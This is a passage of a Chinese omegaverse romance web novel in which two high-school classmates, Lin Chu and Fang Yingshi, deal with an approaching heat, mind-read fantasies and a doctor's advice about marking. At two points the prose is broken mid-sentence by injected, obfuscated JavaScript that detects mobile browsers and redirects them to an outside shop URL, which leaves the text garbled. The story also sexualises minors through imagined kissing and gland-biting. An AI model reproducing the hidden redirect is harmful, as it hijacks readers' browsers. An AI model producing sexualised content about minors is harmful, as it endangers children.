他说完,赵宇飞和沈之清就带着自己喜欢的肉回来了——沈之清虽然是个omega,但沈之清也不是会小拳拳嘤嘤嘤的人,相反他吃得更多,是个内敛又敏感的猛男,他探过头看了一眼林樗面前的冬阴功汤,又看了一眼方应时,一波三折的噢了一声。 赵宇飞听到声音也看了一眼,很茫然的挠着头问:“阿樗你怎么就吃这么点啊,都不够塞牙缝的,我这盘肥牛给你。” 林樗:“……” 吃完东西,生命力顽强的高中生们当场复活,准备再去游戏厅玩一玩,但是能量耗尽的林樗已经快被他的热情开朗的朋友玩死了,于是,他们只好分道扬镳。 方应时要送林樗,但林樗很冷漠的拒绝了,他仅能接受方应时帮他叫个车——本来叫车也不愿意的,但方应时表示这样能知道他到哪了,是不是安全,如果林樗不接受的话,就只好亲自送他回家。 作为一个男高中生,林樗不是很能接受被别人送回家,所以只好退而求其次,坐上方应时叫的车。 车子直达小区门口,林樗下了车,走进电梯,进了家门,然后接到了方应时的电话。 “到了吗?” “嗯。” “我算算时间估计你应该要到了。” “……”林樗忍了一下,忍住了,但又想到今天一天的事故,没忍住,问,“你不觉得你有点变态了吗?” 然后听筒里传来笑声,然后开始装。 “不会啊。我送过你回家,那么稍微估计一下你什么时候进家门也很正常吧?” 林樗觉得这并不正常,不过今日能量消耗殆尽,他懒得说了,他现在只想洗个澡,趴回床上睡个觉。 方应时仿佛能懂他的想法,低低的说了一声: “晚安。” 16. 016 【第十六章:不会吧不会吧,你不会不懂吧?】 事实证明,方应时确实是个变态。 到今天为止,林樗已经快要忘了那个遵纪守法光风霁月深得老师同学喜爱的班长长什么样了,毕竟,他的高中生活,除了平静无波的日常,就是方应时硬塞给他的脑补画面。 他都快习惯了,每天中午午休在方应时的脑补里牵个手,然后莫名其妙凑上来接个吻,仿佛真的约会了一样。 就,离谱。 现实里,他们明明是连话都不会说多说两句的同学——在不被拖出去玩的时候。 高中生嘛,特别是像他这样的高中生,能玩的时间也不多。 然后冬天过去了,春天来了。 到了高二下学期。 他们班又换了一次桌位。 令人震惊的是,他的位置没变,方应时的位置居然也没变。 他们还是同桌。 林樗觉得牛逼坏了,他不可置信的看着方应时,方应时还是弯着眼睛笑眯眯的,林樗忽然有种高中生涯不转学两人就会一直是同桌的错觉。 他想了想,对方应时说:“不愧是你。” 方应时很谦逊:“过奖过奖。” 林樗:“不是。真是你啊?!” 成为他前桌的赵宇飞转过头来:“什么什么?什么真的?什么是你?” 林樗:“……” 方应时:“……” 沈之清把同桌赵宇飞的头扭回来:“你问这么多干嘛?” 赵宇飞:“咦?这是不能问的吗?” 沈之清:“不。我的意思是,你不如想想,中午吃什么。” 赵宇飞:“嘶,确实马上要下课了啊!” 两人开始嘀嘀咕咕的商量中午吃什么。 林樗一脸麻木,心如死灰,然而三好学生方应时却忽然拿出手机,发了一条消息。 一秒钟,林樗的手机震了震。 林樗:“……” 林樗拿出手机看了一眼,上面写着:【你的发情期是不是快到了?】 林樗一愣,猛地摸向颈后。 Omega的发情期并不是每个月一次,毕竟每次要5~7天,每个月一次的话就没办法安心给资本家当牛做马了。每个omega的发情周期都是不一样的,短一点的是三四个月,长一点的是一年,而林樗自己,上一次出现发情症状是十一月初,到现在二月多,已经差不多过去四个月。 按道理来说,确实差不多到时间了。 林樗面无表情的发消息:【你怎么会知道?】 方应时:【感觉】 方应时:【你没有闻到自己的味道吗?】 林樗:【……】 方应时:【感觉我的易感期也要到了。】 林樗:【别碰瓷噢。】 林樗:【……你停一下,我们是能聊这种话题的关系了吗?】 课间的教室很吵闹,但是林樗清楚的听到了,坐在他旁边的方应时很低的轻笑了一声。 关于发情期是不是真的要到了,林樗其实心里很没底。他的情况特殊,几乎每个月都会被林见安女士带去医院做检查,最近一次是在开学前,医生看着报告单,看着报告单上越渐平稳的信息素,很诚挚的恭喜他,还很关心他有没有出意外,让他要是不小心被咬了一定要及时就医,不要强忍着。 毕竟他的alpha信息素接受范围很窄,忍着很容易出事。 林樗完全不会忍着,他甚至不会让自己出现这种问题。 他可是出门必贴两张隔离贴的omega! 他可是出门必装一针抑制剂的omega! 什么意外都不可能出现在他身上。 然后,他现实就给了他一榔头。 中午午休的时候,方应时脑补出来的约会画面变了,还是同一个教室同一个位置,还是同样的玩手和接吻,但是,不再是简单的碰一碰嘴唇,而是张开嘴探出舌尖。 林樗愣住,瞳孔骤然缩紧。 画面里,一瞬之间,年轻的alpha在omega颈边嗅了嗅,而后就像按捺不住内心的野兽一样,把omega摁在椅子上亲吻随之而下,舌尖撬开白齿,肆无忌惮的撷取掠夺,直到濡沫交融,不易察觉的银丝从唇角落出…… 林樗:“……” 林樗:“…………” 林樗一帧一帧的转头看方应时,方应时露出适时的困惑:“怎么了?”然后又有点迟疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497990|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的耳朵好红呐,是哪里不舒服吗?我送你去医院?” 林樗当然没有哪里不舒服。 林樗磨了磨牙,冷笑着从课桌里掏出崭新的《数学奥林匹克丛书·高中》,随手翻开一页,挑了最难的一道题:“班长这道题怎么做?” 方应时:“……” 方应时看了看摆在面前随便抽出来的奥数题,又看了看物理成绩第一名的自己和数学成绩第一名的林樗,声音迟疑了:“问…我吗?” 林樗:“不会吧不会吧,你不会不懂吧?” 方应时:“…………” 方应时自然不太敢说不会,他只能提起笔拿起稿纸,开始算,算着算着,挤进林樗脑海里的旖旎画面消散了。 林樗又冷笑了一声,还治不了你了。 然后林樗获得了一个安静的午休,毕竟数学很诚实,不会就是不会。方应时算了一个午休,不会,很干脆利落的反过来请教,然后让林樗耗费了下午的课间时间和放学后的近半个小时。 是的,那是一道很难的题。 林樗不仅要自己算,还得用方应时能听懂的话讲解出来,就如同之前方应时给他讲物理一样。 讲完,林樗就蔫了。 方应时顺势提出一起回家,还顺便帮他提书包。 林樗:“……” 林樗不明白事情怎么变成这个样子。 林樗扭头走出教室。 两个人出了校门,刚好落日时分,如霞的光辉落到脚边,走过红绿灯刚好是一个奶茶店,两个女孩子手牵着手从店里说说笑笑的走出来,方应时问:“要不要吃冰淇淋?第二支半价。” 林樗:“?” 不是,冰淇淋这种东西也能第二支半价了吗? 没有第一时间反对,方应时脚步一拐走进店里,没几分钟又出来,递给他一支草莓冰淇淋。 林樗:“……这个草莓过不去了吗?” 方应时:“好吧,那你要我手里的巧克力吗?” 林樗:“我两个都不想要。” 方应时弯起眼睛开始微笑:“但是我一个人吃不完,会浪费的。” 林樗:“……” 行吧,人不能,至少不应该浪费食物。 17. 017 【第十七章:咬一口解决99%的问题。】 林樗对自己的omega信息素变化的感知,是在方应时的脑补里。 当他发现方应时在一天之内脑补了他三次,每次都是先玩弄他的手指,再玩弄他的腺体,再玩弄他的嘴唇的时候,林樗意识到,可能自己的发情期真的要到了。 由于上一次发情期被进医院的悲惨事故,林樗这一次更加的小心,不仅时刻贴着两张隔离贴,口袋藏着两管以上的抑制剂,自动远离一些不贴隔离贴的alpha,包括但不限于喜欢脑补的方应时。 然而他谨慎了两周,发情期都没来。 这两周时间里,被躲的方应时看他的眼神越来越幽怨。 林樗一个无情闪避——有什么好幽怨的?他们只是同学!而且他才幽怨好嘛,他每天一坐进教室就要开始应付方应时的脑补,牵手就算了,亲嘴也勉强忍耐了,但这两个星期,方应时已经开始在脑补里啃他的腺体了。 他忍无可忍,反手掏出奥数竞赛题,成功打断方应时的脑补后,又不得不开始帮方应时解题,到最后,本就因为擅长物理,数学也不太弱的方应时,在月考数学一科一跃登顶。 就,林樗看着跟自己同一个分数的方应时,有点想笑,然后反手请了半天假去医院做检查。 他不是分奴,但该死的,他怀疑方应时在驴他! 作为晚龄发育的怪病患者,希望得到数据的主治医生待他依旧如家人一般,安静逐条他的检查报告。 “信息素分泌开始趋向正常,这是好转的迹象。各项指标也都正常,你的腺体确实在为进入发情期做准备,但进展很微弱,几乎可以忽略不计,所以你的发情期具体在什么时候,还无法确定,需要看你的个人身体状况,”主治医生问,“你是觉得哪里不舒服吗?” 林樗:“没有不舒服的地方。我是来确认自己有没有问题的,如果我没有问题,那么有问题的人就是我的同桌。” 因为是读心症的稀缺性,也为了更好的治疗,主治医生很早就知道有方应时这么个人,登时有了兴趣:“是产生了什么新的症状吗?” 林樗沉默了一下:“我依照你的要求,记录过对方的脑补状态。在最开始的那段时间,他的脑补次数比较多,程度……比较离谱,而后慢慢回落,次数保持在一天一次,如果他在放学回家后没有其他离谱行为的话,程度也相对保守,但最近一周,次数和程度慢慢变得和最初齐平,甚至有超越的迹象。” 主治医生思考了片刻,问:“程度离谱是指到什么程度?” 林樗:“……” 林樗:“强吻,以及咬腺体。” 主治医生:“……” 主治医生的表情变得有些奇怪,仔细一看,居然是一种‘就这……?’的不可置信,“那到现在的超越迹象是指?” 林樗面无表情:“咬得更用力了。” 林樗强调:“很痛。” 主治医生:“……” “咳,”主治医生清了清嗓子,推了推眼镜,“从科学的角度上讲,这个叫腺体幻痛,就像截肢患者依旧对缺失部位感到疼痛一样,腺体也会因为一些复杂的原因感到疼痛。” 林樗:“我明白。” 主治医生:“alpha很容易被omega的信息素影响,特别是高契合度的双方间。结合你的信息素变化来看,你刚开始二次觉醒,初期信息素很不稳定,那位alpha的状态也不稳定,后来你经历第一次发情——我看过你的发情期入院记录,你当时接触了契合度不足的alpha信息素,引发了你的信息素紊乱症,虽然当时的医生对你的症状做紧急处理,但是依然会对你接下来的发情期造成影响。” 林樗:“是什么样的影响?” “什么样的影响都有可能,那些都是属于信息素紊乱症的一种,大部分的情况是疼痛、衰弱,抑制剂不耐受。omega专用抑制剂本就是在模拟alpha信息素发挥的作用,但从现在的情况看,你对alpha接受的阈值比我们预估的还要低,”主治医生回收了这个话题,重新点了点检查报告,“没有具体的数据,没有办法判断那位alpha是不是真的受你的信息素影响,有考虑过和他一起过来做个检查吗?” 林樗:“……” 主治医生诧异:“你……没有跟对方说过你的症状吗?” 林樗顿了顿:“没有。如果对方真的是受我的信息影响,从而产生这些不可控的脑补行为,我觉得应该没有坦白的必要。” 应该很难有人能接受自己的想法被人读取。 特别是想法里阴暗的那一面。 主治医生头疼起来,为病人考虑是医生的职业操守:“从现在的情况看,你的腺体已经在为下一次发情做准备,为了你的身体健康,为了你不再被低契合度的alpha信息素影响从而诱发新一轮的信息素紊乱症,我的建议是让那位高契合度的alpha暂时的标记你,以确保这次发情期稳定度过。” 只有信息素和发情期慢慢稳定下来,才能降低腺体的敏感度,才能不那么轻易的被其他不契合的alpha信息素影响。 告别了主治医生,林樗站在医院门口。 周围很吵闹,午后的春日暖阳照在脚边,林樗无声的轻呼一口气,内心做着衡量: 他对目前的规划很明确,考上自己心仪的专业。 考上心仪的专业的前提是平静的度过高中生涯。 而平静度过高中生涯的前提是不被自己不稳定的信息素和发情期影响。 这么看来,被方应时咬一口确实是当下的最优解。咬一口解决99%的问题,他赚翻了,完全不会亏,等反应过来,他已经拿出手机,拨通了方应时的电话。 电话的响铃有点久。 林樗后知后觉想起来,现在这个点是学校的上课时间时,电话被接通了,方应时的声音传进耳朵里。 “喂。” 林樗:“……” 方应时又喊了一声:“林樗?” 林樗:“你不上课的吗?” 面对这种倒打一耙的质问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497991|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,方应时笑起来:“上啊,刚从陆哥的课里跑出来。怎么了?你那边有什么事需要我吗?” 林樗:“是有点事?” 方应时嗯了一声,示意他继续说。 “你能……” 林樗张着嘴,到嘴边的话咽了下去。 方应时:“我能?” 林樗收敛了表情:“哦,我是想问问你,你会受omega信息素影响吗?” 电话那边蓦地顿住。 Omega没有敏锐的感知,但林樗却觉得自己捕捉到了对方截停的呼吸。 过了大概几秒钟,脚步声响起,方应时低声轻笑:“嗯,是很难说清楚的问题啊。不过,话说回来,我们现在是可以谈论这个问题的关系了吗?” 林樗:“……” 林樗没有回答他这个问题,他警惕起来:“你去哪儿?” 方应时:“去找你啊。找你谈论一下alpha是不是会受omega信息素影响,你现在在哪儿?还是在医院吗?医生怎么说?” 林樗:“…………” 医生能怎么说,医生说让你咬我一口。 半个小时后。 距离医院不远的奶茶店里。 因为是工作日,又不在主干道,奶茶店里没有多余的客人,连员工都躲进小厨房摸鱼,仅有的两个客人坐在靠窗的角落里。 林樗不喜欢太甜的东西,热的珍珠奶茶喝了两口就放下了,方应时也差不多,他逃课逃得冠冕堂皇,让林樗无言以对,但他本人并不怎么在意,他更在意的时林樗的就诊情况。 作为同桌,他是知道林樗请假就医的,但具体的原因并不知道,只能猜测是跟发情期有关——他这两周一直能捕捉到林樗的信息素,alpha的本能告诉他,这是一个即将进入发情期的omega,他每天都要花很多磨牙,才能制止自己的本能不扑上去标记这个自己喜欢的omega。 他不觉得想标记自己喜欢的omega有什么问题,毕竟一年多以前,在他见到林樗的第一面,在林樗都还不是omega的时候,他就已经决定好了,但时间确实太早了,他下意识磨着尖牙想,至少要等到他们成年。 准确的说是要等到林樗成年,因为他比林樗大半年。 “是状况不太好?”方应时问。 林樗掩饰性的拿起奶茶:“没有。” 方应时:“好吧,那我们来谈论一下信息素问题。” “噗——”林樗一口奶茶差点喷出来。 方应时眨眨眼,递过去一张纸巾:“我能捕捉到你的信息素,你快要到发情期了。” 林樗:“……” 林樗:“谢谢你的提醒。我贴了两张隔离贴。两张!” 方应时摸了摸鼻子:“隔离贴好像没什么用。” 林樗面无表情:“我去医院验过了,不是隔离贴没用,是你的鼻子属狗。” 方应时:“……” 方应时嘶了一声:“骂的好脏!等等,你今天特意请假就是因为这个原因吗?”